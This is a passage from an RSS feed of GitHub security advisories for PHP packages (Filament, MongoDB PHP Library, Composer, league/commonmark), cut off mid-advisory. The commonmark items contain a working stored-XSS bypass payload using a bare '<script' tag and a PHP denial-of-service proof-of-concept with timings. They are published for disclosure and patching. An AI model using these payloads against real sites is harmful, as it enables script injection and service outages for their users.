&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/Kunstmaan/KunstmaanBundlesCMS/commit/1bbdfdeac8e7e91506b1a9271360b9b68d7690d3/hovercard&quot; href=&quot;https://github.com/Kunstmaan/KunstmaanBundlesCMS/commit/1bbdfdeac8e7e91506b1a9271360b9b68d7690d3&quot;&gt;Kunstmaan/KunstmaanBundlesCMS@&lt;tt&gt;1bbdfde&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Kunstmaan/KunstmaanBundlesCMS/releases/tag/7.3.2&quot;&gt;https://github.com/Kunstmaan/KunstmaanBundlesCMS/releases/tag/7.3.2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-p279-5wcv-45vq</link><guid isPermaLink="false">https://github.com/advisories/GHSA-p279-5wcv-45vq</guid><pubDate>Wed, 07 Oct 2026 18:05:38 GMT</pubDate></item><item><title>Filament: Multi-factor authentication (app) management actions do not require password reauthentication</title><description>&lt;p&gt;App-based multi-factor authentication management actions did not consistently require the user to confirm their current password. In particular, an authenticated session could set up app-based MFA and obtain recovery codes without password reauthentication. Disabling app-based MFA and regenerating recovery codes also accepted an existing app code or recovery code without requiring the current password. This issue does not affect email-based MFA.&lt;/p&gt;
&lt;p&gt;If an attacker gains access to a user&#39;s authenticated session, they could enable app-based MFA and obtain recovery codes without knowing the user&#39;s password, changing the account&#39;s MFA configuration and potentially locking the legitimate user out. This issue does not by itself allow an unauthenticated attacker to sign in.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-7m6h-rg42-m449&quot; href=&quot;https://github.com/filamentphp/filament/security/advisories/GHSA-7m6h-rg42-m449&quot;&gt;GHSA-7m6h-rg42-m449&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-104181&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-104181&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;5498827354&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/filamentphp/filament/issues/20522&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/filamentphp/filament/pull/20522/hovercard&quot; href=&quot;https://github.com/filamentphp/filament/pull/20522&quot;&gt;filamentphp/filament#20522&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/filamentphp/filament/commit/6d4dae6d7a94ce5aefd7ed4dc836acb0e6b71bb1/hovercard&quot; href=&quot;https://github.com/filamentphp/filament/commit/6d4dae6d7a94ce5aefd7ed4dc836acb0e6b71bb1&quot;&gt;filamentphp/filament@&lt;tt&gt;6d4dae6&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/filamentphp/filament/releases/tag/v4.13.3&quot;&gt;https://github.com/filamentphp/filament/releases/tag/v4.13.3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/filamentphp/filament/releases/tag/v5.8.3&quot;&gt;https://github.com/filamentphp/filament/releases/tag/v5.8.3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-7m6h-rg42-m449</link><guid isPermaLink="false">https://github.com/advisories/GHSA-7m6h-rg42-m449</guid><pubDate>Mon, 05 Oct 2026 23:44:12 GMT</pubDate></item><item><title>MongoDB: GridFS data disclosure and deletion via query-operator injection in file IDs</title><description>&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB PHP Library can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.&lt;/p&gt;
&lt;h3&gt;Patches&lt;/h3&gt;
&lt;p&gt;Fixed in 1.21.5 and 2.4.2.&lt;/p&gt;
&lt;h3&gt;Workarounds&lt;/h3&gt;
&lt;p&gt;Validate GridFS IDs.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://jira.mongodb.org/browse/PHPLIB-1929&quot; rel=&quot;nofollow&quot;&gt;https://jira.mongodb.org/browse/PHPLIB-1929&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-8fxw-fmj8-xp7j&quot; href=&quot;https://github.com/mongodb/mongo-php-library/security/advisories/GHSA-8fxw-fmj8-xp7j&quot;&gt;GHSA-8fxw-fmj8-xp7j&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-88023&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-88023&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;5413113304&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/mongodb/mongo-php-library/issues/1981&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/mongodb/mongo-php-library/pull/1981/hovercard&quot; href=&quot;https://github.com/mongodb/mongo-php-library/pull/1981&quot;&gt;mongodb/mongo-php-library#1981&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/mongodb/mongo-php-library/commit/8c0b165069ab29d52a80a379a947ac9a55734601/hovercard&quot; href=&quot;https://github.com/mongodb/mongo-php-library/commit/8c0b165069ab29d52a80a379a947ac9a55734601&quot;&gt;mongodb/mongo-php-library@&lt;tt&gt;8c0b165&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mongodb/mongo-php-library/releases/tag/1.21.5&quot;&gt;https://github.com/mongodb/mongo-php-library/releases/tag/1.21.5&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mongodb/mongo-php-library/releases/tag/2.4.2&quot;&gt;https://github.com/mongodb/mongo-php-library/releases/tag/2.4.2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jira.mongodb.org/browse/PHPLIB-1929&quot; rel=&quot;nofollow&quot;&gt;https://jira.mongodb.org/browse/PHPLIB-1929&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-8fxw-fmj8-xp7j</link><guid isPermaLink="false">https://github.com/advisories/GHSA-8fxw-fmj8-xp7j</guid><pubDate>Mon, 05 Oct 2026 23:26:58 GMT</pubDate></item><item><title>Composer: GHSA-gjfg-22fp-rrxx fix bypass via symlinked package bin path</title><description>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;A malicious or compromised Composer package could, when installed as a dependency, cause Composer to change the permissions of a file outside that package&#39;s own directory and to register a runnable &lt;code class=&quot;notranslate&quot;&gt;vendor/bin&lt;/code&gt; command that points at that outside file. This is a path traversal and link following issue. It is not remote code execution, the attacker gains no ability to read or receive your data directly. The risk is that a file which was readable only by its owner, but modifiable by Composer, can be made world readable and executable, which is enough to expose its contents on a shared or multi tenant host. The earlier hardening from &lt;a title=&quot;GHSA-gjfg-22fp-rrxx&quot; data-hovercard-type=&quot;advisory&quot; data-hovercard-url=&quot;/advisories/GHSA-gjfg-22fp-rrxx/hovercard&quot; href=&quot;https://github.com/advisories/GHSA-gjfg-22fp-rrxx&quot;&gt;GHSA-gjfg-22fp-rrxx&lt;/a&gt; can be bypassed, since it only rejected literal &lt;code class=&quot;notranslate&quot;&gt;..&lt;/code&gt; path segments in a package&#39;s declared binaries, and was only applied in a single place during dependency resolution.&lt;/p&gt;
&lt;h2&gt;Am I affected?&lt;/h2&gt;
&lt;p&gt;You can be affected if a malicious or compromised package, including a transitive dependency, is installed in your project, and either of the following is true:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The dependency package ships one of its declared binaries as a symbolic link that resolves to a location outside the package&#39;s own directory. Nothing beyond a normal install or update is required.&lt;/li&gt;
&lt;li&gt;Or, the recorded metadata of your installed dependencies (&lt;code class=&quot;notranslate&quot;&gt;vendor/composer/installed.json&lt;/code&gt;) declares a binary path that escapes the package&#39;s directory. Composer regenerates missing binaries from that recorded metadata at the end of an install, and uses this metadata for reinstalls of the same package. In both of these cases the validation applied during dependency resolution is skipped. This situation is only reachable when your &lt;code class=&quot;notranslate&quot;&gt;vendor&lt;/code&gt; directory is not populated from the same install run, which performs validation. For example a vendor directory restored from a shared or untrusted CI cache, copied in from an earlier container build stage, carried over from a Composer older than 2.10.2 or 2.2.29, or writable by a lower trust build step, could contain such malicious data.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The most realistic way to get hit is a &lt;code class=&quot;notranslate&quot;&gt;composer install&lt;/code&gt; in a build or deploy step that reuses a &lt;code class=&quot;notranslate&quot;&gt;vendor&lt;/code&gt; directory produced elsewhere, since the permission change is applied silently and with the privileges of the user running Composer.&lt;/p&gt;
&lt;h2&gt;Patched versions&lt;/h2&gt;
&lt;p&gt;Composer now verifies that each declared binary resolves to a path inside the installing package&#39;s own directory before it touches the file, and skips any binary that resolves outside it with a warning. Update to the patched releases (2.10.3 and 2.2.30).&lt;/p&gt;
&lt;h2&gt;Workarounds&lt;/h2&gt;
&lt;p&gt;Upgrading is the only complete fix.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-96h3-5x6v-m776&quot; href=&quot;https://github.com/composer/composer/security/advisories/GHSA-96h3-5x6v-m776&quot;&gt;GHSA-96h3-5x6v-m776&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-59944&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-59944&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/composer/composer/commit/53b8bb4c24697b2f00a18cf1ef35a10392701b89/hovercard&quot; href=&quot;https://github.com/composer/composer/commit/53b8bb4c24697b2f00a18cf1ef35a10392701b89&quot;&gt;composer/composer@&lt;tt&gt;53b8bb4&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/composer/composer/commit/ad649fdfdf8ed826d4a34e0e5690c76a0b4833aa/hovercard&quot; href=&quot;https://github.com/composer/composer/commit/ad649fdfdf8ed826d4a34e0e5690c76a0b4833aa&quot;&gt;composer/composer@&lt;tt&gt;ad649fd&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/composer/composer/releases/tag/2.10.3&quot;&gt;https://github.com/composer/composer/releases/tag/2.10.3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/composer/composer/releases/tag/2.2.30&quot;&gt;https://github.com/composer/composer/releases/tag/2.2.30&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-96h3-5x6v-m776</link><guid isPermaLink="false">https://github.com/advisories/GHSA-96h3-5x6v-m776</guid><pubDate>Fri, 02 Oct 2026 19:14:34 GMT</pubDate></item><item><title>league/commonmark: DisallowedRawHtml bypassed when a disallowed tag name ends the raw-HTML literal</title><description>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;The &lt;code class=&quot;notranslate&quot;&gt;DisallowedRawHtml&lt;/code&gt; extension does not escape a disallowed tag when the tag name is the last thing in the raw HTML. A Markdown line containing just &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;script&lt;/code&gt; is emitted unchanged, and the next block can supply its attributes. With the shipped GFM defaults this allows stored XSS by anyone who can post Markdown.&lt;/p&gt;
&lt;h2&gt;Details&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;DisallowedRawHtmlRenderer&lt;/code&gt; escapes tags with this regex:&lt;/p&gt;
&lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;/&amp;lt;(\/?(?:title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext)[\s\/&amp;gt;])/i
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The trailing character class requires one character after the tag name. The block parser does not: &lt;code class=&quot;notranslate&quot;&gt;RegexHelper::PARTIAL_HTMLBLOCKOPEN&lt;/code&gt; accepts end of line after a tag name, so &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;script&lt;/code&gt; alone opens an HTML block. Because a rendered &lt;code class=&quot;notranslate&quot;&gt;HtmlBlock&lt;/code&gt; has no trailing newline, the regex has nothing to match and the &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;&lt;/code&gt; passes through.&lt;/p&gt;
&lt;p&gt;In the browser the newline is still present, so the tag name terminates there and whatever follows becomes attributes.&lt;/p&gt;
&lt;p&gt;This is the same filter that &lt;a title=&quot;GHSA-4v6x-c7xx-hw9f&quot; data-hovercard-type=&quot;advisory&quot; data-hovercard-url=&quot;/advisories/GHSA-4v6x-c7xx-hw9f/hovercard&quot; href=&quot;https://github.com/advisories/GHSA-4v6x-c7xx-hw9f&quot;&gt;GHSA-4v6x-c7xx-hw9f&lt;/a&gt; fixed in 2.8.1. That fix widened the character class but still requires one character, so this case was not covered.&lt;/p&gt;
&lt;h2&gt;Reproduction&lt;/h2&gt;
&lt;p&gt;Render this with &lt;code class=&quot;notranslate&quot;&gt;GithubFlavoredMarkdownConverter&lt;/code&gt; and default settings:&lt;/p&gt;
&lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;&amp;lt;div&amp;gt;
&amp;lt;script

&amp;lt;span src=&quot;/evil.js&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-basic&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;pl-ent&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;pl-kos&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;pl-ent&quot;&gt;script&lt;/span&gt;
&lt;span class=&quot;pl-kos&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;pl-ent&quot;&gt;span&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;src&lt;/span&gt;=&quot;&lt;span class=&quot;pl-s&quot;&gt;/evil.js&lt;/span&gt;&quot;&lt;span class=&quot;pl-kos&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A browser parses that as &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;script src=&quot;/evil.js&quot;&amp;gt;&lt;/code&gt; with a junk &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;span&lt;/code&gt; attribute, and the script runs. &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;iframe&lt;/code&gt; with &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;span onload=&quot;...&quot;&amp;gt;&lt;/code&gt; works the same way and does not need a later &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;/script&amp;gt;&lt;/code&gt; in the page.&lt;/p&gt;
&lt;p&gt;Control: &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;script src=&quot;/evil.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; is correctly escaped to &lt;code class=&quot;notranslate&quot;&gt;&amp;amp;lt;script src=&quot;/evil.js&quot;&amp;gt;&amp;amp;lt;/script&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Affected versions&lt;/h2&gt;
&lt;p&gt;1.3.0 (when the extension was added) through the current release. The &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;/style&lt;/code&gt; and mid-line forms are only affected as continuation lines inside an already-open HTML block.&lt;/p&gt;
&lt;h2&gt;Preconditions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;notranslate&quot;&gt;html_input&lt;/code&gt; is &lt;code class=&quot;notranslate&quot;&gt;allow&lt;/code&gt; (the default)&lt;/li&gt;
&lt;li&gt;The &lt;code class=&quot;notranslate&quot;&gt;DisallowedRawHtml&lt;/code&gt; extension is active, which the GFM extension enables automatically&lt;/li&gt;
&lt;li&gt;Untrusted users can post Markdown&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Setting &lt;code class=&quot;notranslate&quot;&gt;html_input&lt;/code&gt; to &lt;code class=&quot;notranslate&quot;&gt;escape&lt;/code&gt; or &lt;code class=&quot;notranslate&quot;&gt;strip&lt;/code&gt; fully mitigates this.&lt;/p&gt;
&lt;h2&gt;Suggested fix&lt;/h2&gt;
&lt;p&gt;Allow end of string after the tag name:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;regex&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;\sprintf&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;/&amp;lt;(\/?(?:%s))([\s\/&amp;gt;]|$)/i&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-en&quot;&gt;\implode&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;|&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-en&quot;&gt;\array_map&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;preg_quote&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;tags&lt;/span&gt;)));

&lt;span class=&quot;pl-k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;\preg_replace&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;regex&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;&amp;amp;lt;$1$2&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;rendered&lt;/span&gt;);&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This escapes every bypass shape above and leaves &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;scripts&amp;gt;&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;span class=&quot;a&quot;&amp;gt;&lt;/code&gt; untouched. The existing unit test only covers tag names followed by another character, so a case for a bare tag name should be added.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-97jj-33gv-5xf9&quot; href=&quot;https://github.com/thephpleague/commonmark/security/advisories/GHSA-97jj-33gv-5xf9&quot;&gt;GHSA-97jj-33gv-5xf9&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/thephpleague/commonmark/commit/411afcc2a7402756d96c89af8882c724d12d47ca/hovercard&quot; href=&quot;https://github.com/thephpleague/commonmark/commit/411afcc2a7402756d96c89af8882c724d12d47ca&quot;&gt;thephpleague/commonmark@&lt;tt&gt;411afcc&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/thephpleague/commonmark/releases/tag/2.10.2&quot;&gt;https://github.com/thephpleague/commonmark/releases/tag/2.10.2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-97jj-33gv-5xf9</link><guid isPermaLink="false">https://github.com/advisories/GHSA-97jj-33gv-5xf9</guid><pubDate>Wed, 30 Sep 2026 15:36:33 GMT</pubDate></item><item><title>league/commonmark: Quadratic-time denial of service in the GitHub Flavored Markdown Table extension block-start scan</title><description>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;league/commonmark&lt;/code&gt;&#39;s GitHub Flavored Markdown Table extension registers &lt;code class=&quot;notranslate&quot;&gt;TableStartParser&lt;/code&gt; as a block-start parser. While a paragraph is the active block, the core block parser calls &lt;code class=&quot;notranslate&quot;&gt;TableStartParser::tryStart()&lt;/code&gt; on every non-blank line. Its first action fetches the entire growing paragraph buffer via &lt;code class=&quot;notranslate&quot;&gt;getParagraphContent()&lt;/code&gt; and runs &lt;code class=&quot;notranslate&quot;&gt;strpos($paragraph, &#39;|&#39;)&lt;/code&gt; across all of it. For a paragraph of M pipe-free lines, line k rescans about k lines of buffer, so total work is 1+2+...+M, which is O(M^2). An unauthenticated user who submits a single large paragraph of pipe-free lines that do not begin with a letter (see Attack Chain) to any service that converts untrusted Markdown with &lt;code class=&quot;notranslate&quot;&gt;GithubFlavoredMarkdownConverter&lt;/code&gt; (or any environment that enables &lt;code class=&quot;notranslate&quot;&gt;TableExtension&lt;/code&gt;) drives seconds to tens of seconds of single-core CPU that grows quadratically with body size, enough to exhaust worker processes and deny service.&lt;/p&gt;
&lt;h2&gt;Root Cause&lt;/h2&gt;
&lt;p&gt;The GFM table detector performs a per-line &quot;quick check&quot; against the whole accumulated paragraph rather than only the portion that could form a table header. A paragraph never closes while non-blank lines keep arriving, so its buffer grows without bound, and the quick check rescans the entire buffer on each line. Only the paragraph&#39;s last line can ever be a table header (it is extracted separately via &lt;code class=&quot;notranslate&quot;&gt;strrpos&lt;/code&gt;/&lt;code class=&quot;notranslate&quot;&gt;substr&lt;/code&gt;), so scanning the full multi-line buffer for a pipe on every line is unnecessary work and creates quadratic time complexity. There is no input-size cap and the default nesting limit is not reached, so nothing bounds the scan.&lt;/p&gt;
&lt;pre lang=&quot;text&quot; class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;Affected function: League\CommonMark\Extension\Table\TableStartParser::tryStart
Location: src/Extension/Table/TableStartParser.php:35-38
  $paragraph = $parserState-&amp;gt;getParagraphContent();       // returns the FULL growing buffer
  if ($paragraph === null || \strpos($paragraph, &#39;|&#39;) === false) {
      return BlockStart::none();                           // strpos scans whole buffer each line
  }
Buffer growth: src/Reference/ReferenceParser.php:89-95 ($this-&amp;gt;paragraph .= &quot;\n&quot;; $this-&amp;gt;paragraph .= $line;)
Per-line dispatch: src/Parser/MarkdownParser.php:135-147 and :224-236
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;An unauthenticated, remote attacker with no user interaction can cause denial of service against any application that renders untrusted Markdown with the GitHub Flavored Markdown converter or any configuration that enables the Table extension (the default GFM bundle enables it). A single request carrying a large paragraph of pipe-free, blank-line-free lines that do not begin with a letter consumes CPU proportional to the square of the input size: measured runs show roughly 4x CPU growth per input doubling. A body of a few megabytes ties up a worker for seconds to tens of seconds; repeated or concurrent requests exhaust all available PHP worker processes, denying service to legitimate users. Impact is limited to availability; there is no confidentiality or integrity impact.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;Requires PHP with league/commonmark 2.x installed. The harness parses pipe-free paragraphs of increasing size with the real MarkdownParser and the real block-start parsers, comparing a GFM-plus-Table configuration against a core-only configuration to isolate the Table parser&#39;s contribution.&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install &lt;code class=&quot;notranslate&quot;&gt;league/commonmark&lt;/code&gt; (2.10.1 or any 2.x release).&lt;/li&gt;
&lt;li&gt;Convert a single large paragraph of pipe-free, blank-line-free lines that do not begin with a letter, with &lt;code class=&quot;notranslate&quot;&gt;GithubFlavoredMarkdownConverter&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Measure wall-clock time as the paragraph size doubles.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-ent&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;pl-k&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;vendor/autoload.php&lt;/span&gt;&#39;&lt;/span&gt;;
&lt;span class=&quot;pl-k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;League&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;CommonMark&lt;/span&gt;\&lt;span class=&quot;pl-smi&quot;&gt;GithubFlavoredMarkdownConverter&lt;/span&gt;;

&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;converter&lt;/span&gt; = &lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;GithubFlavoredMarkdownConverter&lt;/span&gt;();
&lt;span class=&quot;pl-k&quot;&gt;foreach&lt;/span&gt; ([&lt;span class=&quot;pl-c1&quot;&gt;25000&lt;/span&gt;, &lt;span class=&quot;pl-c1&quot;&gt;50000&lt;/span&gt;, &lt;span class=&quot;pl-c1&quot;&gt;100000&lt;/span&gt;, &lt;span class=&quot;pl-c1&quot;&gt;200000&lt;/span&gt;] &lt;span class=&quot;pl-k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;lines&lt;/span&gt;) {
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;md&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;str_repeat&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;span class=&quot;pl-s&quot;&gt;12345678&lt;/span&gt;\n&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;lines&lt;/span&gt;); &lt;span class=&quot;pl-c&quot;&gt;// one paragraph, no blank lines, no &#39;|&#39;, lines not starting with a letter&lt;/span&gt;
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;t&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;microtime&lt;/span&gt;(&lt;span class=&quot;pl-c1&quot;&gt;true&lt;/span&gt;);
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;converter&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;convert&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;md&lt;/span&gt;);
    &lt;span class=&quot;pl-en&quot;&gt;printf&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;span class=&quot;pl-s&quot;&gt;%7d lines  %6.3fs&lt;/span&gt;\n&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;lines&lt;/span&gt;, &lt;span class=&quot;pl-en&quot;&gt;microtime&lt;/span&gt;(&lt;span class=&quot;pl-c1&quot;&gt;true&lt;/span&gt;) - &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;t&lt;/span&gt;);
}&lt;/pre&gt;&lt;/div&gt;
&lt;pre lang=&quot;text&quot; class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;   lines    input    letter-leading    non-letter-leading
                     (&quot;aaaaaaaa&quot;)          (&quot;12345678&quot;)
   25000   0.23MB        0.27s               0.75s
   50000   0.45MB        0.50s               2.36s
  100000   0.90MB        1.07s               7.70s
  200000   1.80MB        2.26s              27.81s
&lt;/code&gt;&lt;/pre&gt;
